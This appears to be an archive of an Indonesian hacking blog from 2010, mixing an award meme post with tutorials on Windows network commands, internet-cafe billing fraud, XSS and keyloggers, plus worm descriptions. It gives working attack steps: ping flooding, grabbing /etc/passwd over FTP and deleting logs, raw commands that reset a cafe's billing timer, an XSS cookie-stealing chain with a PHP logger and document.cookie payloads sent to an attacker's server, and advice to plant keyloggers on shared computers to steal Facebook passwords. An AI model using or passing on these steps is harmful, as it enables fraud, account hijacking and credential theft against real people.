Wah,, Akhirnya aku dapet award nih!! Award yang ke 1 buat NEOBLACKHAT. Senang rasanya seperti judul awardnya.. He.. Award ini diberikan oleh sahabat BOOK ONLINE.. Saya Diberi Award Ini melalui pesan di cbox dan award ini memang tidak pake backlink. Cuma diminta untuk saling membagi aja dan menjawab beberapa pertanyaannya.

----THANKS FOR BOOK ONLINE ATAS AWARDNYA ----

Tetapi!! menurut persyaratan penerimaan award ini, saya diminta memposting pertanyaan dan jawaban saya yang sudah saya pajang di bawah ini :

Pertanyaan + Jawaban :

Adakah anda rasa happy sekarang ?
Bukan senang lagi...saya gembira
Kenapa anda rasa happy ?
Karena saya bisa membagi ilmu saya kepada yang lainnya
Apakah yang boleh membuatkan anda happy ?
Kehidupan saya yang berliku-liku
Pernah anda menerima tag ?
Belum..
Nyatakan warna yang anda suka !
Hitam,hijau,putih,merah,kuning

Beritahu 9 orang yang anda tag !

- Brother Buzz

- DARKARD DEIDARA

- NEO_Blackhat

- RINDA PERSONAL BLOG

- RED-SOUL-FC

- SPIRIT 89

- TREE LOST

- PRISTA CUTE
- inttant

Hacking Menggunakan DOS

2010-07-06T04:55:00.000-07:00

vMicrosoft DOS datang dengan beberapa hacking tool tersembunyi yang akan saya diskusikan disini. Tool ini dapat ditemukan pada direktori c:\windows jika anda menggunakan win98 dan jika anda menggunakan winxp maka tool ini berada pada C:\winxp\system32. WinXP, Win2000 dan WinNT dirilis dengan beberapa tool internet tambahan. Jadi jika anda masih menggunakan win98 maka saya menyarankan agar menggantinya dengan WinXP. Yang tentunya memiliki fitur securiti tambahan dan perintah hacking internet yang bagus. Dalam manual ini saya akan membahas mengenai beberapa perintah yang ditemukan pada Win98 dan winXP.

   Jadi bagi pengguna window, berikut ini perintah-perintah hacking pada DOS.

1. ping

2. tracert

3. telnet

4. ftp

5. netstat

OK, inilah keterangannya.

1. ping

Utiliy ini digunakan untuk mencari keberadaan remote host. Yan gmengirmkan sebuah signal SYN ke remote host dan jika remote host membalas maka berarti memang ada suatu remote machine.

Cobalah anda ketik perintah ini:

C:\windows>ping/?

*************
Newbie tip: mengetik '/?' setelah perintah dos menampilkan helpnya. Jadi bagaimana anda belajar aneka perintah dos. Bukankah WinXP, WinNT dan Win2000 juga memiliki perintah ‘help’ untuk menampilkan seluruh perintah dos.
*************
Usage: ping [-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS]
[-r count] [-s count] [[-j host-list] | [-k host-list]]
[-w timeout] destination-list

Options:
-t Ping the specified host until stopped.
To see statistics and continue - type Control-Break;
To stop - type Control-C.
-a Resolve addresses to hostnames.
-n count Number of echo requests to send.
-l size Send buffer size.
-f Set Don't Fragment flag in packet.
-i TTL Time To Live.
-v TOS Type Of Service.
-r count Record route for count hops.
-s count Timestamp for count hops.
-j host-list Loose source route along host-list.
-k host-list Strict source route along host-list.
-w timeout Timeout in milliseconds to wait for each reply.

Jadi saya dapat melakukan ping ke ip address apapun atau domain name untuk memeriksa keberadaannya di internet. Sebagai contoh saya mengetik “ping localhost” maka saya mendapatkan.

Pinging chintan [127.0.0.1] with 32 bytes of data:

Reply from 127.0.0.1: bytes=32 time<10ms TTL=128
Reply from 127.0.0.1: bytes=32 time<10ms TTL=128
Reply from 127.0.0.1: bytes=32 time<10ms TTL=128
Reply from 127.0.0.1: bytes=32 time<10ms TTL=128

Ping statistics for 127.0.0.1:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms

************
Newbie tip: 'localhost' adalah ip 127.0.0.1 dan merupakan ip address kita sendiri. Juga dikenal sebagai loopback ip. Tapi saat anda terhubung ke internet anda akan diberi ip baru oleh isp anda sebagai identifikasi diri anda. Anda dapat mencari tahu ip anda dengan mengetik”winipcfg” pada menu Start-Run bagi pengguna Win98, sedangkan yang lainnya hanya mengetikkan “ipconfig” pada command prompt.
***********

Hal ini menunjukkan kepada saya bahwa 32 byte data dikirim ke 127.0.0.1 dan dibalas kembali kurang dari 10ms. TTL adalah Time To Live dan nilai range dari 0 hingga 255 (default 128). Sekarang biar kita lihat apa yang terjadi jika saya mengetik “ping www.yahoo.com”

Pinging www.yahoo.akadns.net [66.218.71.87] with 32 bytes of data:

Reply from 66.218.71.87: bytes=32 time=3448ms TTL=54
Reply from 66.218.71.87: bytes=32 time=2276ms TTL=54
Reply from 66.218.71.87: bytes=32 time=1799ms TTL=54
Reply from 66.218.71.87: bytes=32 time=2850ms TTL=54

Ping statistics for 66.218.71.87:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 1799ms, Maximum = 3448ms, Average = 2593ms

Tapi bagaimana ping tersebut digunakan oleh para hacker? Baiklah, ada dua opsi ‘|’ dan ‘-t’ yang mematikan. -| digunakan untuk spesifikasi ukuran buffer yang dikirimkan (defaultnya 32 byte) bagaimana jika saya mengetik “ping -| 65600 target.com” maka hal ini akan membawa maut 65600 paket data ke target.com yang lebih tinggi dari kapasitas TCP/IP 65535. Tindakan ini menyebabkan target.com menjadi hang dan harus di restart.

Dan jika saya mengetik “ping –t target.com” hal ini akan meneruskan pengiriman 32 byte data ke target.com hingga menghabiskan resource dan menyebabkan hang. Dua jenis serangan diatas dikenal sebagai ping attack bagi penyerang Dos.

***********
Newbie tip: 'Dos' yang terakhir disebutkan adalah Denial of service yang dilancarkan oleh hacker untuk menghentikan service pada remote machine.
***********
Catatan: Jenis serangan ini dimasa lalu sering digunakan, namun saat ini pada sistem yang telah diperbarui hal tersebut tidak akan bekerja lagi.

2. Tracert

Perintah Tracert melakukan penjejakan ke remote machine. Sebelum request kita menjangkau remote machine melalui router yang berbeda diantaranya. Tool tracert (dikenal sebagai ‘traceroute’ pada unix) pada awalnya dirancang untuk mencari router mana yang mengalami masalah. Perintah tersebut menunjukkan ip address router yang dilalui request kita sebelum menjangkau remote maching. Sebagai contoh, jika saya mengetik “tracert http://www.yahoo.com/” pada dos prompt maka akan terdapat:

Tracing route to www.yahoo.akadns.net [66.218.71.87]
over a maximum of 30 hops:

1 * 2296 ms 2025 ms dialpool-210-214-55-11.maa.sify.net [210.214.55.11]
2 2446 ms 2025 ms 2301 ms dialpool-210-214-55-2.maa.sify.net [210.214.55.2]
3 1899 ms 2066 ms 2450 ms lan-202-144-32-177.maa.sify.net [202.144.32.177]
4 * 2885 ms 2749 ms lan-202-144-83-4.maa.sify.net [202.144.83.4]
5 * * * Request timed out.
6 * * * Request timed out.
7 * * * Request timed out.
8 * * * Request timed out.
9 * * * Request timed out.
10 * 3408 ms * www.yahoo.akadns.net [66.218.71.87]
11 * * * Request timed out.
12 * * * Request timed out.
13 * * * Request timed out.
14 * * * Request timed out.
15 * * * Request timed out.
16 * * * Request timed out.
17 482 ms 698 ms 624 ms w8.scd.yahoo.com [66.218.71.87]

Trace complete.

Baris pertama memberitahukan kita ip mana yang menjejaki dan kemudian jumlah hop. Jumlah hop tergantung pada jumlah server yang ada diantaranya. Setelah memulai tracing. Request pertama saya melalui sify.net (nama ISP server saya) kemudian melalui server yang berbeda dan terakhir menjangkau w8.scd.yahoo.com. Jadi kita dapat melihat berapa lama prosedurnya. Kapanpun anda membuka http://www.yahoo.com/ dalam web browser, request anda selalu melalui isp dulu (untuk mendapatkan ip dari http://www.yahoo.com/ dari daftar nama domainnya) kemudian server lain dalam jalur tersebut dan terakhir pada yahoo.

            Jadi bagaimana tracert digunakan oleh para hacker. Perintah ini digunakan untuk mencari firewall dan melumpuhkannya. Tracer digunakan bersamaan dengan nmap dapat mengetahui ip sebenarnya dimana firewall terpasang, kemudian hacker tersebut akan melumpuhkannya. Untuk contoh diatas kita melihat bahwa proses tracing terhenti pada w8.scd.yahoo.com. Namun hal ini bukanlah tujuan sebenarnya. Hal itu dikarenakan dihentikan oleh firewall. Mengenai masalah firewall akan kita bahas dalam artikel tersendiri.

3. Telnet

Jika anda menggunakan windows maka ‘telnet’ merupakan hacking tool terhebat bagi anda. Sebenarnya merupakan sebuah terminal yang dapat mengakses remote machine dan menggunakan service-nya. Melalui telnet anda dapat menentukan suatu koneksi antara mesin anda dan remote machine melalui port tertentu.

***********
Newbie tip: Disini saya membicarakan tentang virtual port. Tidak secara fisik yang anda lihat dibalik CPU anda. Hanya sebagai physical port yang digunakan untuk koneksi ke hardware dan dengan cara yang sama virtual port digunakan untuk koneksi pada software. TCP/IP memiliki 65,535 virtual port.
***********
Jika anda mengentik “telnet target.com” maka anda terhubung ke target.com pada prot no. 23 (port yang menjalankan telnet service). Anda juga bisa terhubung ke suatu port lainnya dengan mengetik nomor port setelah target.com. sebagai contoh jika saya ingin terhubung ke port no. 25 (SMTP service) maka salya akan mengetik “telnet target.com 25”.
***********
Newbie tip: Setiap port menjalankan service tertentu. Untuk mendaptkan daftar service yang dijalankan pada port tertentu yang bukalah “C:\windows\services" pada notepad.
***********
Sesaat anda terhubung ke sebuah remote machine pada port tertentu, sebuah window popup telnet dengan daemon yang menjalankan port tersebut menunggu anda mengetikkan perintah. Sebagai contoh “telnet http://www.cyberspace.org/” maka seperti gambar dibawah inilah yang saya dapatkan.

Saya harus login disana dan mengetik suatu password dan saya mendapatkan linux shell prompt. Baiklah jika anda mengetikan newuser disana untuk mendapatkan sebuah LoginID dan Password. Dan stelah itu saya menyiapkan perintah untuk mengeksekusi secara remote.

Well, http://www.cyberspace.org/ memiliki server Linux. Jadi jika anda tidak familiar dengan Linux anda tidak akan mampu menggunakan service-nya.

4. FTP

FTP adalah File Transfer Protocol. Melalui ini anda dapat mendownload atau mengupload file. Dan apa yang hacker inginkan dari ini? Benar!! Tinggal mengeti “ftp target.com” dan daemon banner akan ditampilkan. Tapi disini, dengan tujuan menampilkan file transfer pertama kali anda harus login. Beberapa website mengijinkan adanya naonymous login. Contohnya mengetikkan login “anonymous” dan email-address anda sebagai password. Tentunya anda harus mengetikkan email palsu. Sekarang anda boleh mulai mendownload dan mengupload file. Namun untuk itu anda adanya suatu perintah. Pada FTP prompt anda dapat mengetikkan “?”. Maka akan ditampilkan sbb:

! delete literal prompt send
? debug ls put status
append dir mdelete pwd trace
ascii disconnect mdir quit type
bell get mget quote user
binary globe mkdir recv verbose
bye hash mls remotehelp
cd help mput rename
close lcd open rmdir

Untuk mendaptkan bantuan pada berbagai perintah contohnya perintah delete, mengetikan “? Delete”. Beberapa perintah penting lainnya adalah:

1. 'pwd' to know the present directory at remote machine.
contohnya. ftp>pwd
/etc/home
2. 'lcd' to change the local directory.
contohnya. ftp>lcd C:\windows
local directory now C:\windows
3. 'cd' to change the remote directory.
contohnya. ftp>cd /etc
remote directory now /etc
4. 'mput' to send multiple files to remote machine.
contohnya. ftp>mput *.*
sends all files from C:\windows to /etc
5. 'mget' to get multiple files from remote machine.
contohnya. ftp>mget *.*
gets all files from /etc to C:\windows
6. 'open' to establish a connection with remote host.
contohnya. ftp>open www.target.com
7. 'bye' closes the connection and quits from ftp

Untuk perintah lainnya dari ftp silakan lihat help mereka.

Sekarang pada yang port FTP (prot 21) adalah membuka http://www.nosecurity.com/. Seorang hacker akan terhubung ke situs tersebut menggunakan “ftp http://www.nosecurity.com/” pada dos prompt. Kemudian dia akan mencoba login secara anonymous. Dengan anggapan bahwa http://www.nosecurity.com/ menggunakan linux server, maka hacker tersebut akan mengtikkan perintah “get /etc/apsswd” untuk mendaptkan file password dan mengcracknya. Jika anda adalah seorang hacker, maka jangan lupa untuk menghapus log tersebut.

5. netstat

Anda dapat menentukan suatu koneksi dengan remote machine pada port tertentu, hanya saat port tersebut dibuka pada remote machine. Sebagai contoh, jika anda ingin menentukan sebuah koneksi dengan http://www.target.com/ pada port 23 (telnet) maka port tersebut seharusnya terbuka pada http://www.target.com/. Dan seluruh aktifitas hacking umumnya menggunakan port yang terbuka. Mengetikkan “netstat /?” pada dos prompt memberikan:

Displays protocol statistics and current TCP/IP network connections.

NETSTAT [-a] [-e] [-n] [-s] [-p proto] [-r] [interval]

-a Displays all connections and listening ports.
-e Displays Ethernet statistics. This may be combined with the -s
option.
-n Displays addresses and port numbers in numerical form.
-p proto Shows connections for the protocol specified by proto; proto
may be TCP or UDP. If used with the -s option to display
per-protocol statistics, proto may be TCP, UDP, or IP.
-r Displays the routing table.
-s Displays per-protocol statistics. By default, statistics are
shown for TCP, UDP and IP; the -p option may be used to specify
a subset of the default.
interval Redisplays selected statistics, pausing interval seconds
between each display. Press CTRL+C to stop redisplaying
statistics. If omitted, netstat will print the current
configuration information once.

Opsi akan menjelaskan fungsinya masing-masing. Dan yang terpenting adalah opsi –a dan –n. Opsi –a menampilkan seluruh port yang terbuka pada mesin tersebut. Dan jika saya menggunakan opsi –n maka akan menunjukkan ip address sebagai ganti dari domain. Saya mendapatkan hal berikut ini jika saya mengetik “netstat –a” pada command prompt.

Active Connections

Proto             Local Address                          Foreign Address                          State
TCP              chintan:1027                             0.0.0.0:0                                      LISTENING
TCP             chintan:80                                 0.0.0.0:0                                         LISTENING
TCP              chintan:135                              0.0.0.0:0                                         LISTENING
TCP             chintan:6435                             0.0.0.0:0                                         LISTENING
TCP             chintan:1025                              0.0.0.0:0                                         LISTENING
TCP             chintan:1026                             0.0.0.0:0                                         LISTENING
TCP             chintan:1028                             0.0.0.0:0                                         LISTENING
TCP             chintan:1309                             0.0.0.0:0                                         LISTENING
TCP             chintan:1310                             0.0.0.0:0                                         LISTENING
TCP             chintan:1285                             rumcajs.box.sk:80                             ESTABLISHED
TCP             chintan:1296 l                            an-202-144-78-3.maa.sify.net:80     CLOSE_WAIT
TCP             chintan:1297                             lan-202-144-65-14.sify.net:80         ESTABLISHED
TCP             chintan:1310                             cdn-v13.websys.aol.com:80             ESTABLISHED
TCP             chintan:1220                             aiedownload.cps.intel.com:ftp             ESTABLISHED

”Proto” menyatakan nama protocol tersebut, “localaddress” memberikan ipaddress kita dan port yang terbuka. “Foreign Address” menyatkaan ipaddress dengan namor port yang terhubung ke kita. “State” menyatakan pernyataan saat ini jika suatu koneksi “established” atau listening atau hanya “waiting”.

Sebagai contoh jika saya membuka http://www.yahoo.com/ maka saat saya menjalankan “netstat –a” saya akan mendapatkan masukan seperti ini:

"TCP 203.43.50.81:2034 www.yahoo.com:80 ESTABLISHED"

Komputer saya dengan ip 203.43.50.81 melalui port 2034 terhubung dengan yahoo pada port 80

*************
Newbie tip: Dengna cara ini anda bisa mendapatkan ip seseorang yang chatting dengan ada. Pertama kali jalankan “netstat –an” dan lihat dibawah foreign ip address. Sekarang mulailah private chating dengan orang lain. Juga jalankan “netstat –an” dan anda akan mendapatkan satu lagin foreign ip pada akhirnya. Inilah ip orang tersebut.
*************

BOBOL BILING DENGAN SOFTWARE IMANIAC

2010-07-06T03:27:00.000-07:00

Nah, dalam tutorial hacking kali ini, saya akan memberi penjelasan tentang “Bagaimana Cara Hacking Billing Yang Benar” pasti kalian menyangka kalau ini tutorial hacking billing yang banyak beredar di internet itu! Tidak! Ini sama sekali bukan! Ini Beda! , ingin tahu caranya? Simak bagaimana saya memberikan penjelasan!

1. Download dahulu program IManiac-nya di link ini :
ZIDDU

2. Nah, sekarang cari program IManiac.exe nya
3. Untuk registrasi IManiac nya, silahkan menggunakan Serial Number yg sudah di sediakan dalam Folder.
4. Setelah muncul dialog IManiac nya, Klik Connect, maka akan muncul dialog Raw Connect.

Browser Anda mungkin tidak bisa menampilkan gambar ini.

Browser Anda mungkin tidak bisa menampilkan gambar ini.

5. Keterangan : HOSTNAME nya itu adalah IP Komputer Server Billing nya. Agar sesuai dengan LAN di warnet yang kamu hacking itu, maka kamu harus mengganti IP-nya dengan IP Komputer Server Billing di warnet kamu caranya :

dengan men-download program Yahoo Messenger Monitor, download disini :

http://www.immonitor.com/download/yahoomonitor.exe

Nah kalau udah, INSTALL!!! Nah, tuh khan, kelihatan IP Komputer Server Billing nya!

Di dialog Raw Connect khan ada port nya, isikan dengan port 1500, karena itu adalah angka port billing.

Browser Anda mungkin tidak bisa menampilkan gambar ini.

6. Nah, Setelah semua sudah siap, ACARA UTAMA AKAN BERAKSI :

[Ingat : salah urutan, dijamin koneksimu segera diputus oleh server billing]

[Ingat : ketik perintah dalam tanda kutip ganda (warna biru) dan tunggu respon dari server billing]

Asumsi : nomor client kamu adalah 8 dan TES adalah User Login Kamu

o “XJ6$con22$8$TES$” --> respon server : "YA6$/connn$"
o “XJ6$www4$8$TES$” --> respon server : "YA6$www4$087104104104$Warnet xxx$Jl. Siliwangi No.5 Bulan$Email info_008@yahoo.com - http://www.billingexplorer.com$087104104104$HALO$49$402"
o “XJ6$data$8$” --> respon server "YA6$startmZ$8$2500$15$1250$30$202.155.0.10$0$ 0$"
o “XJ6$con$8$” --> respon server : GAK PENTING LAGI
o Sesaat setelah perintah terakhir itu, server billing akan segera me-reset waktu pemakaian kamu.
o Bila ingin mengeceknya, ketik di CMD :

Taskkill /f /im client008.exe lalu ENTER, maka billing client nya mati sementara. Untuk mengaktifkan kembali, kita tinggak klik icon Client008.exe di Start > All Program, cari Client008 atau cari kembali di Program Files dan aktifkan kembali. Maka yang terjadi harga surfing nge-net kita reset kembali. BUKAN SULAP DAN BUKAN SIHIR

o Seterusnya, tiap kali ingin me-reset timer server, tinggal kasih perintah : "XJ6$con$8$" lewat software IManiac tadi. OKE!
o Tampilan IManiac yang sudah bekerja keras untuk membantu kita dalam hacking billing, kita harus salut terhadap software itu.

SUMBER :
SESAMA HACKER

Hacker, pengelompokkannya dan sebagainya

2010-07-05T03:30:00.001-07:00

Hacker, pengelompokkannya dan sebagainya

Setelah saya membuat tulisan dibeberapa waktu yang lalu tentang aliran xcode dan budaya hacker yang dimana salah satu tujuannya diharapkan dapat memberikan semangat untuk kita dalam menjaga budaya hacker, maka saat ini saya akan membahas tentang hacker, pengelompokkannya dan sebagainya yang tujuan dari penulisan ini adalah untuk memberikan kepastian tentang pengertian dan pengelompokkan hacker yang diakui oleh Komunitas Xcode.

Saya setuju dengan pengertian hacker adalah orang yang mempelajari, menganalisa, dan selanjutnya bila menginginkan, bisa membuat, memodifikasi, atau bahkan mengeksploitasi sistem yang terdapat di sebuah perangkat seperti perangkat lunak komputer dan perangkat keras komputer seperti program komputer, administrasi dan hal-hal lainnya terutama pada keamanan.

Walaupun saya setuju dengan pengertian diatas tapi saya tetap mengacu dari RFC1392, Internet User Glossary yaitu Hacker adalah Seseorang yang tertarik untuk mengetahui secara mendalam mengenai kerja suatu system,komputer atau jaringan komputer.

Menurut CEH pengelompokkan hacker berdasarkan aktifitas yang dilakukan yaitu
Black Hat Hacker, White Hacker, Grey Hacker dan Suicide, dari keempat kelompok tersebut, Diluar konteks pengelompokkan tersebut yang paling mendekati komunitas Xcode sebagai Blue Hat adalah Grey Hacker.

Untuk memasuki wilayah hacking akan melewati beberapa langkah menurut referensi dari HACKER STAGES v1.03 r26MAR2000 dari ElfQrin (www.elfqrin.com) yang kemudian di disadur oleh MOBY. Tingkatannya adalah Si dungu, Lamer, Wannabe, Larva dan Hacker.

Untuk Hirarki Hacker saya mengambil Hirarki Hacker yang ditulis outside adalah dari paling bawah adalah Lamer, Script Kiddie lalu Developed Kiddie, Semi Elite lalu Elite.

Langkah memasuki wilayah Hacking dan hirarki hacker saya bedakan, dimana dimulai dari si dungu untuk wilayah hacking karena si dungu bukan masuk di hirarki hacker. Hirarki hacker dimulai dari Lamer.

Istilah wilayah hacking tertinggi disini disebut hacker, saya lebih melihatnya sebagai hacker yang mempunyai pendewasaan, perubahan pola pikir dan kemampuan teknik yang cukup istimewa, kriteria ini ditulis pada tulisan outside. Bukan berarti Lamer, Script Kiddie dan seterusnya bukan hacker, mereka juga hacker tapi tetapi seorang hacker dengan hirarki yang lebih rendah.

Dari keterangan yang yang saya tulis diatas dan sudah cukup jelas konsepnya maka saya simpulkan Komunitas Xcode mengikuti :
1. Pengelompokkan berdasarkan aktifitas tujuan yaitu mengikuti pengelompokkan dari CEH.
2. Pengelompokkan berdasar memasuki wilayah hacking mengikuti referensi HACKER STAGES v1.03 r26MAR2000 dari ElfQrin
3. Pengelompokkan berdasarkan Hirarki yaitu mengikuti dari tulisan oustside.

Dari kejelasan yang ada diatas maka saya memberikan beberapa hal yang mungkin saat ini rancu. Apakah Lamer itu adalah Hacker? Saya jawab ya walaupun hacker yang paling rendah hirarkinya. Apakah Black Hat Hacker itu juga hacker? Saya jawab ya walaupun hacker yang menggunakan kemampuan untuk melakukan hal-hal yang dianggap melanggar hukum dan merusak.

Berdasarkan 5 tahapan hacking yang yang didefinisikan dalam sertifikasi CEH adalah Reconnaissance, Scanning, Gaining Acces, Maintaining acces lalu yang terahkir adalah Covering Track yang merupakan cara untuk menutup jejak mereka dengan cara menghapus log file serta menutup semua jejak yang mungkin ditinggalkan.

Seorang hacker diharapkan mempunyai kemampuan menutup jejak dengan baik untuk mewujudkan hal tersebut maka kita dapat memulai belajar tentang Digital Forensics dan bagaimana mereka bekerja yang ahkirnya diharapkan kita mendapatkan konsep yang ideal untuk bagaimana agar jejak kita tidak mudah di lacak jika melakukan hacking, misalnya jika dianalogikan yaitu selain kita belajar kriptoanalisis untuk menembus suatu keamanan data yang terenkripsi kita juga perlu belajar Kriptografi untuk mengamankan data.

Komunitas Xcode adalah komunitas Blue Hat, saya belum tertarik membawa keseluruhan komunitas ini ke white hat karena umumnya White hat Hacker adalah para professional yang bekerja pada perusahaan keamanan dan umumnya disebut juga sebagai Security Analys, Security Consultan dan sebagainya yang dimana mempunyai sedikit berbeda konsep dengan Xcode yang menganut aliran blue hat.

Walaupun begitu saya juga ikut senang jika anda menjadi seorang white hat apalagi menjadi professional dibidang security, bahkan saya bangga ada SDM dibidang security yang dapat makin memajukan Indonesia. Walaupun begitu saya masih menginginkan komunitas tetap pada tempatnya yaitu komunitas dengan budaya hacker Blue hat yang bebas dan merdeka seperti manifesto yang dibuat oleh seorang hacker yang menggunakan nickname The Mentor dan pertama kali dimuat pada majalah Phrack (volume 1 / issue 7 / 25 September 1986).

XSS ATTACK BUAT PEMULA

2010-07-05T03:06:00.000-07:00

Setelah Lihat2 Blog Orang,,ada artikel yg menjelaskan XSS attack
Saya edit sedikit menggunakan bahasa saya...
hehehehe

Apa itu XSS?
XSS adalah suatu cara memasukan code/script HTML kedalam suatu web site dan dijalankan melalui browser di client. Xss mungkin jenis serangan yang paling cupu bagi seorang attacker yang tidak mempunyai Bug atau exploit. dikarenakan Xss hanya membutuhkan sebuah browser saja.

Bagaimanakah menemukan Situs yang vulner?
mencari situs yang vulner emang gampang-gampang susah, karena kebanyakan situs udah memfilternya, tapi gimanapun kita masih bisa menggunakan bantuan sesepuh kita yang paling baik di seluruh dunia untuk mencarinya, sapa lagi kalo bukan paman Google.hehehehe
kita menggunakan Dork dengan query sebagai berikut:

" inurl:"search.php?q=" "

atau jika manual kita bisa mencoba fasilitas sebuah site seperti Guest book, Search Box, Shoutboxes, Comment atau Forum.

Nah sekarang jika sudah kita ketemukan target kita akan mencoba mengexploit site itu dulu, apakah site itu mempunyai vulner terhadap XSS.
Ok sekarang kita coba menginjeksi dengan kode :

" alert("XSS") "

maka jika menampilkan dialog box seperti ini maka site itu vulner :

Tapi apakah sekedar itu saja?

sekarang kita coba dengan metoda lain, apakah site itu bisa dideface bro?

bisa saja, sekarang kita coba bagaimana mengattack site yang vulner itu.

ok.
dengan penyisipan tag IMG SCR pada sebuah url atau pada comment sekali.
Apa itu IMG SCR tu bro? IMG SCR itu adalah semacam Tag pemangilan gambar dari suatu link tertentu untuk ditampilkan kepada website tersebut.

Adakah cara lain?

metode penyisipan lain selain dengan gambar juga bisa kita lakukan misalnya dengan file flash (SWF) hingga serangan ini mempunyai style tersendiri

"

dengan penyisipan tag tersebut maka akan langsung meng exekusi file SWF pada link tersebut.
atau mungkin dengan melakukan redirect ke situs lain misalnya dengan code :

" window.open( "http://www.google.com/" ) "

maka jika dieksekusi , kita akan di redirect ke situs google, mungkin biasa aja, tapi gimana klo dibawa ke suatu situs login palsu misalnya fake login yahoo, mungkin bisa berbahaya juga tuh.

Nah oleh karena itu XSS ini walaupun bug kecil tapi bisa berbahaya juga, misalnya dengan melakukan teknik Xss Cookies Stealing.

Apa itu Cookies Stealing . cookie stealing itu adalah mendapatkan cookie orang lain, supaya kamu dikenali oleh Situs target sebagai orang tersebut.

Nah buat pertamanya ambil Cookie Logger Di http://G0t-Root.net/tools/cookie.php
Atau salin aja code dibawah ini :

$c = $_GET['c'];
$file = fopen(?Log.txt?,'a?);
fwrite($file,$c);
fclose($file);
?>

Ok sekarang gw anggap lo dah memilikinya save dengan extensien Php dan upload ke server lo, dan jangan lupa untuk membuat file LOG.TXT dengan chmod 777 dan sekarang kita langsung menuju ke website yang akan diserang.
masukan code ini

" window.location = "http://server-lu.com/cookielogger.php?c="+document.cookie "

atau

" document.location = "http://Server-lu.com/cookielogger.php?c="+document.cookie "

hingga otomatis url pada site berubah menjadi

" http://Target.com/search.php?q=document.location = "http://server-lu.com/cookielogger.php?c="+document.cookie "

Nah jika ada user berkunjung ke situs yang telah di inject tadi maka otomatis cookies tersebut akan terekam dan masuk kedalam log file yang telah dipersiapkan dan lo bisa mengawasi cookies yang didapatkan hingga ntar lo bisa meng hijack cookies tersebut.
Ne misalkan hasil cookies yang telah didapat :

" $ ls -la /home/theSiteUsername/tmp/ | grep sess
-rw------- 1 theSiteUsername theSiteUsername 5068 Sep 18 09:20 sess_1a1aexxxxxxx5e282e1a5747694ec8e2
-rw------- 1 theSiteUsername theSiteUsername 5023 Sep 18 09:19 sess_462fexxxxxxx13dafa331bc15e962e22
-rw------- 1 theSiteUsername theSiteUsername 5109 Sep 18 10:51 sess_717edxxxxxxx653df341f91d096e0484
-rw------- 1 theSiteUsername theSiteUsername 5079 Sep 18 09:14 sess_91850xxxxxxxef480524c23412b23dc1
-rw------- 1 theSiteUsername theSiteUsername 5011 Sep 18 10:38 sess_9246dxxxxxxxe6e710a9e623af23ca95
-rw------- 1 theSiteUsername theSiteUsername 5079 Sep 18 09:25 sess_a4cdcxxxxxxx065ede6ecb062d443f86 "

Nah sekian tutor pendeknya, semoga aja berguna n keep posting and share you knowledge.

SUMBER:

BUKAN HACKER

Keylogger Douglas 1.1

2010-07-05T02:48:00.000-07:00

Keylogger Douglas 1.1

Tau ini apa??
Yap, betul skali

Ini Keylogger

Aplikasi buat mencatat semua ketikan yg ada di seperti Login field

entah itu password dan username

aplikasi ini
adalh 1 cara mudah untuk mendapatkan informasi password

cara untuk memakainya adalah:

-Install keyloggernya,
-Pasang di komputer yang mau kamu liat passwordnya
-Tunggu beberapa waktu (jika mau liat password di warnet,seperti account FB orang,mungkin harus menunggu keesokan harinya)
! Dengan cacatan :
- Kita hanya bisa mengambil password di tempat keylogger dipasang
(misal kita memasang keylogger terpasang di warnet di komputer no.7,kita hanya bisa melihat aktivitas ketikan di komputer no.7.TIDAK BISA DI KOMPUTER NOMOR LAIN)

-Cek Keylogger....
-Gunakan rekaman yg tersimpan di keylogger
-Happy Hacking...^^

Senseii: Menyembunyikan Drive C

2010-07-05T02:27:00.000-07:00

Senseii. Malware berjenis worm VB Script ini berukuran sekitar 59 KB, memiliki cukup banyak payload, seperti menampilkan pesan seperti pada gambar saat start Windows, atau menyembunyikan drive C melalui manipulasi registry, menyebabkan drive C tidak terlihat pada Windows Explorer.Worm akan menyebar pada removable disk dengan nama senseii.vbe dan desktop.vbs, tidak ketinggalan membuat file autorun.inf yang bertujuan untuk menjalankan worm secara otomatis jika Autorun aktif.

Beberapa file duplikat worm dan companionnya juga akan diciptakan dengan nama:

c:\windows\EXPL0RER.vbs
c:\windows\system\WinUpdt.vbs
c:\antivirus.vbs
c:\regedit.vbs

dan masih banyak lagi. Walaupun drive C tidak terlihat, tetapi Anda masih dapat mengaksesnya melalui Command Prompt. Pada desktop, ia juga akan membuat file bernama Don’t click.ini yang berisikan teks:

w32 s@ipud1n
adalah virus tiruan dari virus yg pernah ada

ingin tau siapa yang buat tiruanya
yang jelas bukan kamu kan?

[credits]

senseii
c45
sekolah di playgroup terkenal di Cirebon
———————————————-

Untuk membasmi virus ini ataupun varian virus lainnya, PCMAV 3.0.3 Update Build4 telah hadir dengan penambahan 9 pengenal varian virus baru. Bagi Anda pengguna PCMAV 3.0.3, sangat disarankan segera melakukan update, agar PCMAV Anda dapat mengenali dan membasmi virus lebih banyak lagi.

Untuk mendapatkan dan menggunakan update PCMAV ini, Anda cukup menjalankan PCMAV.exe, komputer harus dalam keadaan aktif terhubung ke Internet (non-proxy). Fitur Automatic Updates dari PCMAV akan secara otomatis men-download dan meng-update database dari PCMAV.

Namun bagi Anda yang ingin mendapatkan file update tersebut secara manual, Anda bisa men-download file-nya melalui beberapa link ini:

SendSpace.com
ZippyShare.com (mirror)
Rapidshare.com (mirror)

Letakkan file hasil download tersebut (update.vdb) ke dalam folder \vdb. Jika sebelumnya telah terdapat file update yang lama, Anda cukup menimpanya. Pastikan sekali lagi, bahwa nama file update adalah update.vdb, jika berbeda, cukup ubah namanya. Dan nanti saat Anda kembali menjalankan PCMAV, ia sudah dalam keadaan kondisi ter-update.

SUMBER : VIRUS INDONESIA

6 Langkah Mengusir Virus 'Luna Maya'

2010-06-30T23:31:00.000-07:00

Jakarta - Sebuah virus yang cukup menjengkelkan dengan julukan 'Luna Maya'telah menyebar di Indonesia. Virus ini menampilkan pesan yang agaknya meledek penggemar video porno di Indonesia, dengan menampilkan Pop Up bertuliskan "dasar!! otak bokep.."

Virus itu juga menimbulkan dampak-dampak yang cukup menjengkelkan. Misalnya, drive CD/DVD ROM akan terus terbuka meskipun sudah ditutup secara manual oleh pengguna.

